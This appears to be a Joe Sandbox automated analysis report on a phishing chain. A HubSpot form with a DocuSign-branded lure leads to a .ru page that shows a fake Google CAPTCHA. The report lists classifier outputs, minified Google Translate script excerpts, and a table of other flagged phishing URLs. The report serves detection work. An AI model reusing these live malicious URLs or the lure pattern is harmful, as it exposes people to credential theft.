fHa(a,b,a.fetch(b),d)})})};_.Pv(eHa,_.$Ga); _.p(); }catch(e){_._DumpException(e)} }).call(this,this.default_TranslateWebserverUi); // Google Inc.
URL: PDF document Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "VIEW DOCUMENT", "prominent_button_name": "VIEW DOCUMENT", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_security_alerts": false }

URL: https://share.hsforms.com/1CW530LkrS821BfbeHP3L2wsoxpw Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "VIEW DOCUMENT", "prominent_button_name": "VIEW DOCUMENT", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_security_alerts": true }

URL: PDF document Model: Joe Sandbox AI	{ "brands": [ "Docusign" ] }
	{ "brands": [ "Docusign" ] }
URL: https://share.hsforms.com/1CW530LkrS821BfbeHP3L2wsoxpw Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "VIEW DOCUMENT", "prominent_button_name": "VIEW DOCUMENT", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_security_alerts": true }

URL: https://share.hsforms.com/1CW530LkrS821BfbeHP3L2wsoxpw Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "VIEW DOCUMENT", "prominent_button_name": "VIEW DOCUMENT", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_security_alerts": true }

URL: https://share.hsforms.com/1CW530LkrS821BfbeHP3L2wsoxpw Model: Joe Sandbox AI	{ "brands": [ "DocuSign" ] }
	{ "brands": [ "DocuSign" ] }
URL: https://share.hsforms.com/1CW530LkrS821BfbeHP3L2wsoxpw Model: Joe Sandbox AI	{ "brands": [ "DocuSign" ] }
	{ "brands": [ "DocuSign" ] }
URL: https://share.hsforms.com/1CW530LkrS821BfbeHP3L2wsoxpw Model: Joe Sandbox AI	{ "brands": [ "Docusign" ] }
	{ "brands": [ "Docusign" ] }
URL: https://qb06.ffcwygff.ru/5G4YV/?submissionGuid=3af40c8e-6398-4d26-a0df-f71e1dfd4413 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Click to verify", "prominent_button_name": "Click to verify", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_security_alerts": false }

URL: https://www.gstatic.com/_/mss/boq-translate/_/js/k... Model: Joe Sandbox AI	```json { "risk_score": 1, "reasoning": "The script appears to be a part of a legitimate library or framework, likely related to UI components or scrolling behavior, as indicated by the presence of functions handling scroll events and DOM manipulations. There are no high-risk indicators such as dynamic code execution or data exfiltration. The script interacts with what seems to be internal functions and objects, and there is no evidence of external data transmission or interaction with suspicious domains. The presence of a copyright notice from Google further suggests a legitimate context. Overall, the script demonstrates low-risk behaviors typical of UI management code." }
"use strict";this.default_TranslateWebserverUi=this.default_TranslateWebserverUi\|\|{};(function(_){var window=this; try{ _.qAa=_.z("VNcg1e",[_.qn]); _.n("VNcg1e"); _.V0=function(a){_.ro.call(this);this.j=null;this.tb=a.Ra.soy};_.B(_.V0,_.J);_.V0.qa=function(){return{Ra:{soy:_.bv}}};_.Ov(_.qAa,_.V0); _.p(); _.rAa=_.z("JWUKXe",[_.qAa]); var LFa;_.sK=_.G("c0v8t");LFa=function(a,b,c){this.scrollTop=a;this.v=b===void 0?0:b;this.j=c===void 0?!1:c};_.uK=function(a,b){b=b===void 0?0:b;_.ig.call(this);var c=this;this.ua=!!a.v;this.Aa=b===1;this.ya=this.ua?a.j.document.body:a;b=tK(this);this.tc=new MFa(b);this.na=new MFa(b);this.Qa=_.kl().height;this.H=void 0;this.j=new LFa(b,0);this.Ha=this.Ea.bind(this);this.N=null;this.oa=this.ua?a.get():a;this.v=new _.$r(this);_.mh(this,this.v);this.v.listen(this.oa,"scroll",this.Ha,this.Aa);this.N=function(){c.tc.j=!0;c.na.j=!0;c.Qa=_.kl().height};this.v.listen(this.oa,"resize",this.N,this.Aa);this.Ta=[]}; _.B(_.uK,_.ig);_.uK.prototype.Db=function(){this.v.Bm(this.oa,"scroll",this.Ha,this.Aa);this.N&&this.v.Bm(this.oa,"resize",this.N,this.Aa);_.ig.prototype.Db.call(this)};_.uK.prototype.Ea=function(){var a=this;this.H\|\|(NFa(this,this.tc),this.H=_.en(this.Ja,500,this));OFa(this,this.na);NFa(this,this.na);_.Ea(this.Ta,function(b){var c=b.threshold!=0&&a.na.scrollTop>b.threshold/100a.Qa;c&&b.w5\|\|b.ym(new LFa(a.j.scrollTop,a.j.v,a.j.j));b.w5=c})}; _.uK.prototype.Ja=function(){this.H&&(_.fn(this.H),this.H=void 0);OFa(this,this.tc);_.Ug(this.ya,_.sK,this.j,!1)};var NFa=function(a,b){b.scrollTop=tK(a);b.time=_.hi()},OFa=function(a,b){var c=tK(a),d=(c-b.scrollTop)/(_.hi()-b.time);a.j.scrollTop=c;a.j.v=d;a.j.j=b.j;b.j=!1},tK=function(a){return a.ua?_.ll(document).y:a.ya.scrollTop}; _.uK.prototype.scrollTo=function(a){if(a.behavior&&!_.Hfa)try{window.scrollTo(a);return}catch(b){}window.scrollTo(a.left!=null?a.left:window.pageXOffset,a.top!=null?a.top:window.pageYOffset)};var MFa=function(a){this.scrollTop=a;this.time=_.hi();this.j=!1}; / Copyright 2018 Google Inc. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ _.FM=function(a,b){return(a.matches\|\|a.webkitMatchesSelector\|\|a.msMatchesSelector).call(a,b)}; _.n("JWUKXe"); var Lbb=function(){return(0,_.O)('<div class="'+_.T("VfPpkd-AznF2e-OFz35")+'"></div>')},W0=function(a,b){this.j=a;this.na=b};var Mbb;_.X0=function(){W0.apply(this,arguments)};_.B(_.X0,W0);_.X0.prototype.N=function(){var a=this.j.el().scrollLeft;return Math.round(Mbb(this).right-a)};_.X0.prototype.oa=function(a){var b=Mbb(this),c=this.j.el().scrollLeft;a=_.Nbb(this,b.right-a);return{Sm:a,wm:a-c}};_.X0.prototype.v=_.aa(85);_.X0.prototype.H=function(a){return a};Mbb=function(a){return{left:0,right:a.na.Ia().offsetWidth-a.j.Ia().offsetWidth}};_.Nbb=function(a,b){a=Mbb(a);return Math.min(Math.max(a.left,b),a.right)};_.Y0=function(){W0.apply(this,arguments)};_.B(_.Y0,W0);_.Y0.prototype.N=function(a){var b=this.j.el().scrollLeft;return Math.round(a-b)};_.Y0.prototype.oa=function(a){var b=this.j.el().scrollLeft;a=_.Obb(this,-a)
URL: https://www.gstatic.com/_/mss/boq-translate/_/js/k... Model: Joe Sandbox AI	```json { "risk_score": 1, "reasoning": "The script contains no high-risk or moderate-risk indicators. It appears to be part of a library or framework, likely for internal use, with no signs of malicious behavior. The presence of copyright notices from reputable entities like Google suggests a legitimate context." }
"use strict";this.default_TranslateWebserverUi=this.default_TranslateWebserverUi\|\|{};(function(_){var window=this; try{ _._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0xc183, 0x13202138, 0x2042c1, ]); /* Copyright The Closure Library Authors. SPDX-License-Identifier: Apache-2.0 / / Copyright Google LLC SPDX-License-Identifier: Apache-2.0 / / SPDX-License-Identifier: Apache-2.0 / / Copyright 2024 Google, Inc SPDX-License-Identifier: MIT */ var baa,daa,Fa,gaa,$a,kaa,oaa,qb,zaa,Aaa,Caa,Hb,Ib,Jb,Kb,Ob,Rb,Eaa,Faa,Tb,Vb,Xb,Gaa,Iaa,Kaa,dc,ec,Paa,lc,pc,Vaa,zc,Zaa,bba,Waa,aba,$aa,Yaa,Xaa,cba,fba,hba,dba,eba,lba,mba,oba,pba,Jc,rba,sba,xba,yba,zba,Aba,hd,Dba,Eba,Fba,Gba,Jba,Lba,Kba,Mba,vd,ud,Oba,Nba,Qba,wd,Rba,Sba,Tba,Uba,Vba,Id,Kd,Ld,Xba,ce,Jd,Nd,cca,gca,ze,Be,Ce,Me,Se,mca,$e,sca,tca,uca,vca,xca,gf,zca,Aca,Cca,Dca,Hca,Jca,Lca,Mca,Of,Pca,Qca,Rca,Uca,bda,Yca,fda,hda,ida,lg,kda,lda,nda,xg,tda,uda,Cg,Dg,vda,wda,Ada,Ng,Dda,Bda,Fda,Gda,dh,Ida,Jda, Kda,hh,ih,Qda,Sda,Tda,Uda,Vda,Wda,Xda,Yda,$da,aea,bea,dea,eea,fea,hea,aaa,iea,Ch,jea,Eh,oea,Mh,pea,rea,Xh,Yh,tea;_.aa=function(a){return function(){return aaa[a].apply(this,arguments)}};_.ba=function(a,b){return aaa[a]=b};_.da=function(a){_.ca.setTimeout(function(){throw a;},0)};_.ea=function(a){a&&typeof a.dispose=="function"&&a.dispose()};baa=function(a){for(var b=0,c=arguments.length;b<c;++b){var d=arguments[b];_.ha(d)?baa.apply(null,d):_.ea(d)}}; _.ia=function(a,b){if(Error.captureStackTrace)Error.captureStackTrace(this,_.ia);else{var c=Error().stack;c&&(this.stack=c)}a&&(this.message=String(a));b!==void 0&&(this.cause=b);this.j=!0};_.ja=function(a){return a[a.length-1]};_.ka=function(a,b,c){for(var d=typeof a==="string"?a.split(""):a,e=a.length-1;e>=0;--e)e in d&&b.call(c,d[e],e,a)};_.na=function(a,b,c){b=_.ma(a,b,c);return b<0?null:typeof a==="string"?a.charAt(b):a[b]}; _.ma=function(a,b,c){for(var d=a.length,e=typeof a==="string"?a.split(""):a,f=0;f<d;f++)if(f in e&&b.call(c,e[f],f,a))return f;return-1};_.qa=function(a,b){return(0,_.pa)(a,b)>=0};_.ra=function(a,b){_.qa(a,b)\|\|a.push(b)};_.va=function(a,b){b=(0,_.pa)(a,b);var c;(c=b>=0)&&_.sa(a,b);return c};_.sa=function(a,b){return Array.prototype.splice.call(a,b,1).length==1};_.wa=function(a){return Array.prototype.concat.apply([],arguments)}; _.xa=function(a){var b=a.length;if(b>0){for(var c=Array(b),d=0;d<b;d++)c[d]=a[d];return c}return[]};_.ya=function(a,b){for(var c=1;c<arguments.length;c++){var d=arguments[c];if(_.ha(d)){var e=a.length\|\|0,f=d.length\|\|0;a.length=e+f;for(var g=0;g<f;g++)a[e+g]=d[g]}else a.push(d)}};_.caa=function(a,b,c){return arguments.length<=2?Array.prototype.slice.call(a,b):Array.prototype.slice.call(a,b,c)}; _.Ba=function(a,b){b=b\|\|a;for(var c=0,d=0,e={};d<a.length;){var f=a[d++],g=_.za(f)?"o"+_.Aa(f):(typeof f).charAt(0)+f;Object.prototype.hasOwnProperty.call(e,g)\|\|(e[g]=!0,b[c++]=f)}b.length=c};_.Ca=function(a,b){if(!_.ha(a)\|\|!_.ha(b)\|\|a.length!=b.length)return!1;for(var c=a.length,d=daa,e=0;e<c;e++)if(!d(a[e],b[e]))return!1;return!0};_.Da=function(a,b){return a>b?1:a<b?-1:0};daa=function(a,b){return a===b};_.eaa=function(a,b){var c={};(0,_.Ea)(a,function(d,e){c[b.call(void 0,d,e,a)]=d});return c}; Fa=function(a){return{valueOf:a}.valueOf()};gaa=function(){var a=null;if(!faa)return a;try{var b=function(c){return c};a=faa.createPolicy("TranslateWebserverUi#html",{createHTML:b,createScript:b,createScriptURL:b})}catch(c){}return a};_.Ha=function(){Ga===void 0&&(Ga=gaa());return Ga};_.La=function(a){var b=_.Ha();return new _.Ja(_.Ka,b?b.createHTML(a):a)};_.Ma=function(a){return a instanceof _.Ja};_.Na=function(a){if(_.Ma(a))return a.j;throw Error("B");}; _.haa=function(a){return"function"==typeof _.Oa&&a instanceof _.Oa};_.Pa=function(a){if(_.haa(a))return a.j;throw Error("B");};_.Sa=function(a){var b=_.Ha();return new _.Ra(_.Ka,b?b.createScriptURL(a):a)};_.Ta=function(a){return a instanceof _
URL: https://qb06.ffcwygff.ru/5G4YV/?submissionGuid=3af40c8e-6398-4d26-a0df-f71e1dfd4413 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: https://www.gstatic.com/_/mss/boq-translate/_/js/k... Model: Joe Sandbox AI	```json { "risk_score": 3, "reasoning": "The script contains obfuscated code and uses aggressive DOM manipulation, but there are no clear indicators of malicious intent such as data exfiltration or dynamic code execution. The script appears to be part of a larger framework or library, possibly for UI rendering, which may explain the obfuscation and DOM manipulation. Without evidence of harmful behavior, the risk is capped at 3 for bad practices." }
"use strict";this.default_TranslateWebserverUi=this.default_TranslateWebserverUi\|\|{};(function(_){var window=this; try{ _.th(_.or); _.n("sOXFj"); var cw=function(){_.ro.call(this)};_.B(cw,_.J);cw.qa=_.J.qa;cw.prototype.j=function(a){return a()};_.Ov(_.ula,cw); _.p(); _.n("oGtAuc"); _.opa=new _.Bf(_.or); _.p(); _.Nw=function(a,b){a&&_.Df.rb().register(a,b)}; _.n("q0xTif"); var Ypa=function(a,b){_.so(a,b)},Zpa=function(a){var b=function(d){_.Go(d)&&(_.Go(d).nb=null,_.uw(d,null));d.XyHi9&&(d.XyHi9=null)};b(a);a=a.querySelectorAll("[c-wiz]");for(var c=0;c<a.length;c++)b(a[c])};_.Ow=function(a){_.tw.call(this,a.Da);var b=this,c=a.context.X0;this.j=c.zk;this.N=this.Aa=this.v=null;this.H=a.service.La;this.oa=a.service.uea;a=this.j.na.then(function(d){b.v=d;d=b.j.id.UP(d,b.j.j);b.Aa=d.variant});c=c.FK.then(function(d){b.N=d});this.fE=this.fE.bind(this);Ypa(this,_.zg([a,c]))};_.B(_.Ow,_.tw);_.Ow.qa=function(){return{context:{X0:"FVxLkf"},service:{La:_.aw,component:_.Dw,uea:_.opa}}};_.k=_.Ow.prototype;_.k.ud=function(){return""};_.k.qd=function(){return!1};_.k.Vh=function(){return this.j}; _.k.wt=function(){var a=_.xb(this.N,this.fE);a={ab:this.j.j,d_:this.j.Aa,ub:{gP:!1,ab:this.j.j,Yc:this.j.id.N,xA:this.j.Cw,Sc:this.ud(),jsdata:_.yb(this.v)},qf:a,Cla:this.Aa};Object.assign(a,this.v\|\|{});Object.assign(a,this.j.v);Object.assign(a.ub,this.j.v);return a};_.k.fE=function(a,b){return Array.isArray(a)?a.length!=1\|\|(b=this.j.id.cC()[b],b&&b.sO)?_.Rf(a,function(c){return c.wt()}):a[0].wt():a.wt()};_.k.Tm=function(){return null}; var $pa=function(a){var b=a.vd();return function(){var c=_.mb.apply(0,arguments);return a.oa.j(function(){return b.apply(null,_.Kh(c))})}},aqa=function(a){var b=a.Tm();return b?function(){var c=_.mb.apply(0,arguments);return a.oa.j(function(){return b.apply(null,_.Kh(c))})}:b};_.Ow.prototype.render=function(){var a=this.wt(),b=$pa(this);b=this.qd()?bqa(this,b,a):this.soy.Bc(b,a);this.Tm()&&(a=cqa(this,a),b.appendChild(a));(a=this.j.id.sE())&&a.length>0&&a.forEach(function(){});this.j.Mf(b);return b}; var cqa=function(a,b){var c=a.hg.j.j.createElement("view-header");c.style.display="none";var d=aqa(a);b={ab:a.j.j};a.qd()?a.H.H(c,d,b):(a=a.soy.Ut(d,b),c.appendChild(a));return c},bqa=function(a,b,c){var d=a.hg.j.j.createElement("div");a.H.H(d,b,c);return d.childNodes.length==1?d.firstChild:d};_.Ow.prototype.DA=function(a){var b=this.wt(),c=$pa(this);Zpa(a);this.H.j(a,c,b);this.Vh().Mf(a);this.Tm()&&(b=cqa(this,b),b=(new _.Hp(b)).Pa(),_.Ug(_.Xg(a).body,_.Xpa,b))};_.Nw(_.Mw,_.Ow); _.p(); var zgb;_.S1=function(a,b){zgb(a,b.ub,b.ab,b.Wd)};zgb=function(a,b,c,d){_.HW(a,{ab:c,ub:b,body:_.W(function(e){e.text("Debug Data:");if(d==null?0:d.j())e.open("pre","OXlGeb"),e.T(),e.print(_.GE(d).j()),e.close()})})};_.S1.Wa=_.Tu; var kAb;_.O5=function(a,b,c){kAb(c,a,b.ub,b.qf)};kAb=function(a,b,c,d){_.HW(b,{ub:c,Fa:"kHGNJd",jsaction:"baCfpf:tyfFbd;xAtcpb:XAvy9;Dhhwdc:bsDmJe;IMDLbc:Tmqbkd;OZBile:syoa3e;RVrinb:SedMud;dpuCf:FAFMV,UrKqRe,st8gbe;T7Oymc:FAFMV,u09kYc,st8gbe;nScWsc:syoa3e;UgRHCc:SedMud;",jscontroller:"f6XzIb",body:_.W(function(e){e.open("div","xCD1fd");e.ma(lAb\|\|(lAb=["class","zXU7Rb"]));e.T();e.V("mcCUzf");_.Tyb(e,d.BF,a);e.W();e.close();e.open("div","Ehw7Pd");e.T();e.V("Z0WeY");_.hAb(e,d.FF,a);e.W();e.close()})})}; _.O5.Wa=_.Tu;var lAb; var WJb;_.XJb=function(a,b){WJb(a,b.ub,b.Ue)};WJb=function(a,b,c){var d=_.kk(c,1),e=_.kk(c,2);c=_.kk(c,5);var f="";if(d\|\|e\|\|c)d=d?"S1ivcb":e?"V2KSn":"",f=f+"rcuQ6b:"+d+(c?(d.length?", ":"")+"F3VsI":""),f+=";";_.HW(a,{ub:b,jsaction:f,jscontroller:"GjNf3d",body:_.W(function(){})})};_.XJb.Wa=_.Tu; var bNb=function(){return"Send feedback"};var cNb,dNb;_.E7=function(a,b){a.open("div","LyScHb");a.ma(cNb\|\|(cNb=["class","cJ1Ndf"]));a.O("jscontroller","ModSgb");a.T();a.va("span","xUkHSe");a.ma(dNb\|\|(dNb="aria-haspopup dialog class qgyq3b jsaction click:feqbab;D7hdBd:feqbab; jsname ryDGAb role button tabindex 0".split(" ")));a.T();a.V("iKoPQ");_.CN(a,bNb,null,b);a.W();a.close();a.Ba()}; var eNb=function(){retu
URL: https://qb06.ffcwygff.ru/5G4YV/?submissionGuid=3af40c8e-6398-4d26-a0df-f71e1dfd4413 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Enter the result", "prominent_button_name": "Submit", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_security_alerts": false }

URL: https://qb06.ffcwygff.ru/5G4YV/?submissionGuid=3af40c8e-6398-4d26-a0df-f71e1dfd4413 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: https://qb06.ffcwygff.ru/5G4YV/?submissionGuid=3af40c8e-6398-4d26-a0df-f71e1dfd4413 Model: Joe Sandbox AI	```json{ "legit_domain": "unknown", "classification": "unknown", "reasons": [ "The URL 'qb06.ffcwygff.ru' does not clearly associate with any known brand.", "The domain 'ffcwygff.ru' appears random and does not match any well-known or known brand domains.", "The brand name provided is 'u', which is not identifiable as a known brand.", "The URL uses a '.ru' domain extension, which may be legitimate but is often used in phishing attempts targeting non-Russian users.", "The subdomain 'qb06' and the main domain 'ffcwygff' do not provide any recognizable brand association." ], "riskscore": 8}
URL: qb06.ffcwygff.ru Brands: u Input Fields: unknown
URL: https://support.google.com/ Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_security_alerts": false }

URL: https://qb06.ffcwygff.ru/5G4YV/?submissionGuid=3af40c8e-6398-4d26-a0df-f71e1dfd4413 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Click to verify", "prominent_button_name": "Click to verify", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_security_alerts": false }

URL: https://qb06.ffcwygff.ru/5G4YV/?submissionGuid=3af40c8e-6398-4d26-a0df-f71e1dfd4413 Model: Joe Sandbox AI	{ "brands": [ "Google" ] }
	{ "brands": [ "Google" ] }
URL: https://qb06.ffcwygff.ru/5G4YV/?submissionGuid=d4347c34-8d7e-47dc-b2f2-9d3c1431acde Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "I am not a robot", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_security_alerts": false }

URL: https://support.google.com/ Model: Joe Sandbox AI	{ "brands": [ "Google Chrome", "Google Account", "YouTube", "Gmail", "Google Play", "Google Search", "Google AdSense", "Gemini Apps", "Pixel Phone", "Google Maps", "Google Cloud", "Google Ads" ] }

URL: https://qb06.ffcwygff.ru/5G4YV/?submissionGuid=d4347c34-8d7e-47dc-b2f2-9d3c1431acde Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: https://qb06.ffcwygff.ru/5G4YV/?submissionGuid=d4347c34-8d7e-47dc-b2f2-9d3c1431acde Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Enter the result", "prominent_button_name": "Submit", "text_input_field_labels": "Enter the result", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_security_alerts": false }

URL: https://qb06.ffcwygff.ru/5G4YV/?submissionGuid=d4347c34-8d7e-47dc-b2f2-9d3c1431acde Model: Joe Sandbox AI	{ "brands": [ "Google" ] }
	{ "brands": [ "Google" ] }
URL: https://qb06.ffcwygff.ru/5G4YV/?submissionGuid=d4347c34-8d7e-47dc-b2f2-9d3c1431acde Model: Joe Sandbox AI	```json{ "legit_domain": "google.com", "classification": "wellknown", "reasons": [ "The brand 'Google' is well-known and typically associated with the domain 'google.com'.", "The URL 'qb06.ffcwygff.ru' does not match the legitimate domain for Google.", "The domain extension '.ru' is unusual for Google, which primarily uses '.com'.", "The URL contains random characters and does not resemble any known Google subdomains or services.", "The presence of a non-Google domain with a well-known brand name is a common phishing tactic." ], "riskscore": 9} Google indexed: False
URL: qb06.ffcwygff.ru Brands: Google Input Fields: Enter the result
URL: https://translate.google.com/ Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_security_alerts": false }

URL: https://translate.google.com/ Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
104.16.118.116	https://share.hsforms.com/1Izw71u6TTr2VFC-t9f1KFgsvgdj	Get hash	malicious	Unknown	Browse
	https://prezi.com/i/wuualyitwcxt/	Get hash	malicious	HTMLPhisher	Browse
	https://cbthz04.na1.hs-sales-engage.com/Ctc/WX+23284/cbtHZ04/JlY2-6qcW95jsWP6lZ3mVW5xSkdC387hZlVGwpQc3P-q7wW4XgB4f44hCn1W3xYp5D6c1ttLW5FlJm432C9CFN1DvHyz7sRM3W1xbpQP3rjw57VdgQ8b5y5ncrN49hcz4pvY25W96rvby79_LjyW2hcbt-9lVY_PW61b5ZB17S04cW1Q1Z0m1qr_XnW4-Nvh_3JShBfW6ZlQ2B7-rTd7W5m54Pt4FXHVhN8f7LcVPRggDW6t0wZX12kCc8W8SWxd-65BfMKN89z7Dpr6bFRW62hqfp7800yqW6mjxRN41FPzSV9Cmrg5cL__SW36PjDN1zwkS6W21jP9H8v9kL6W995dJp10hcCRVsGjCC5n0FZjN7sg51mKQ1rDW15tQ1c3HKBShW818lp-6tdDqnf2cjw2s04	Get hash	malicious	Unknown	Browse
	https://intelligentrepairsolutions-my.sharepoint.com/:b:/g/personal/a_zell_irs-group_com/ETrGN6yXppBBt5Jzbj4zKhgBq4v6Oyb7O70AESL4N06CfQ?e=4%3aChQOAq&at=9	Get hash	malicious	Unknown	Browse
	Valutazione della sicurezza IT - Azione urgente richiesta.html	Get hash	malicious	Unknown	Browse
	https://share.hsforms.com/1btg1UbajRd2Ui8qqobJYrAssgaj	Get hash	malicious	HTMLPhisher	Browse
	https://www.google.com/url?q=3HOSozuuQiApLjODz3yh&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&esrc=WSECxFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ9mfdQ6lDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp/email.email.panda%C2%ADdoc%C2%AD.net/c/eJxUkE2P2yAQhn-NuWWFARt88CFVY612oypR2m7UywqGwSGJDcLY3c2vryJ1-3EbjeZ99MxrW1Nz4xSxAeYBx_zqbdufVQy8WvbnZ4mHr1v5vX_uDcG2lJxXVAlZk1MLSiPjHKRWYBw4lJZJCRqkEVJZQXzLKBMlo3WpqKz4g6l4zS03pmSmLmVZCIqD9teHqEerbYCHETPx02tOGlCbK7Y5zUiu7SnnOBV8XbCuYJ2O8W8EwlCw7kO_YN3CCt7lcMGx4J8NSlVVAgyKymkGjIKWqBoJ3DlUXIGiDUhX8I6MIXvnQWcfxnsNzgkqLMCqwQZWolF0pTk0K0qZQ7S1QVeTkHo9-tuf0GZ5eheeH9Pm7by_vbzf7PD4ZUdSG09zSoWgIWY_zMOUtXN-7O_-JOHip9-A-fB43HRxdxy-Qfi03b-sbbxIktuPF_8ZV1mnHv_bTPeLpWXkZ0iXKWrAO3SXD-unw3Y8i7e8HH7ki-bz5H4FAAD__zN8qVc	Get hash	malicious	Unknown	Browse
	Audit(s) & Inspection(s) Due and Overdue Notification for Baez Rossy, Jafeth.eml	Get hash	malicious	Unknown	Browse
	http://svchorst.com	Get hash	malicious	Unknown	Browse
	http://trilogyic.nimbusweb.me	Get hash	malicious	Unknown	Browse
104.18.40.240	https://share.hsforms.com/1Izw71u6TTr2VFC-t9f1KFgsvgdj	Get hash	malicious	Unknown	Browse
	https://prezi.com/i/wuualyitwcxt/	Get hash	malicious	HTMLPhisher	Browse
	https://cbthz04.na1.hs-sales-engage.com/Ctc/WX+23284/cbtHZ04/JlY2-6qcW95jsWP6lZ3mVW5xSkdC387hZlVGwpQc3P-q7wW4XgB4f44hCn1W3xYp5D6c1ttLW5FlJm432C9CFN1DvHyz7sRM3W1xbpQP3rjw57VdgQ8b5y5ncrN49hcz4pvY25W96rvby79_LjyW2hcbt-9lVY_PW61b5ZB17S04cW1Q1Z0m1qr_XnW4-Nvh_3JShBfW6ZlQ2B7-rTd7W5m54Pt4FXHVhN8f7LcVPRggDW6t0wZX12kCc8W8SWxd-65BfMKN89z7Dpr6bFRW62hqfp7800yqW6mjxRN41FPzSV9Cmrg5cL__SW36PjDN1zwkS6W21jP9H8v9kL6W995dJp10hcCRVsGjCC5n0FZjN7sg51mKQ1rDW15tQ1c3HKBShW818lp-6tdDqnf2cjw2s04	Get hash	malicious	Unknown	Browse
	https://intelligentrepairsolutions-my.sharepoint.com/:b:/g/personal/a_zell_irs-group_com/ETrGN6yXppBBt5Jzbj4zKhgBq4v6Oyb7O70AESL4N06CfQ?e=4%3aChQOAq&at=9	Get hash	malicious	Unknown	Browse
	Valutazione della sicurezza IT - Azione urgente richiesta.html	Get hash	malicious	Unknown	Browse
	https://share.hsforms.com/1btg1UbajRd2Ui8qqobJYrAssgaj	Get hash	malicious	HTMLPhisher	Browse
	Audit(s) & Inspection(s) Due and Overdue Notification for Baez Rossy, Jafeth.eml	Get hash	malicious	Unknown	Browse
	http://trilogyic.nimbusweb.me	Get hash	malicious	Unknown	Browse
	Customer forms.pdf	Get hash	malicious	Unknown	Browse
	https://share.hsforms.com/13Dqwfz0LRkK1qoBQuRdgjgsnbj9	Get hash	malicious	HTMLPhisher	Browse
104.16.107.254	https://share.hsforms.com/1Izw71u6TTr2VFC-t9f1KFgsvgdj	Get hash	malicious	Unknown	Browse
	https://share.hsforms.com/1btg1UbajRd2Ui8qqobJYrAssgaj	Get hash	malicious	HTMLPhisher	Browse
	http://svchorst.com	Get hash	malicious	Unknown	Browse
	https://c9amf220.caspio.com/dp/3ba5e0002add93b7ba4f4d22b51d	Get hash	malicious	Unknown	Browse
	https://share.hsforms.com/11zbkP7dfTBO0LgTS5dCN0Asixz3	Get hash	malicious	Mamba2FA	Browse
	https://www.jasper.ai/	Get hash	malicious	Unknown	Browse
